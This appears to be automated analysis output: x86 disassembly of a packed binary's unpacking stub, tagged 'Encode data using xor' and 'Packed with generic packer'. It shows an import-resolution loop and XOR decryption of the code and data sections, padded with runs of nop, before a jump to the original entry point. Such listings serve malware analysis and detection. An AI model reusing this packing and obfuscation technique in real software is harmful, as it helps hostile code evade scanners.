call dword [esi + 0x62254]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x46202c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x62258]
or eax, eax
je 0x462068
mov dword [ebx], eax
add ebx, 4
jmp 0x462049
call dword [esi + 0x6225c]
popal
jmp 0x4095a4

Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
mov ebx, 0x408f6c
mov ecx, 0x2a6b70a5
nop
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
mov ecx, 0x43155648
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219